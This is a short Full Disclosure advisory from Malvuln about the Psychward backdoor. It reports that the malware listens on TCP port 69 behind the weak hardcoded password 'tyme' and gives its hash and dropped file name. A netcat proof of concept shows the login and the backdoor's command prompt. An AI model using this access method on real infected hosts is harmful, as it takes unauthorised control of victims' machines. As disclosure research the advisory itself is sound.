full-disclosure - [FD] Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

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Date: Thu, 14 Apr 2022 21:51:50 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Psychward.03.a / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description:  The malware listens in TCP port 69. The password "tyme" is
weak and stored in plaintext with the executable.
Family: Psychward
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

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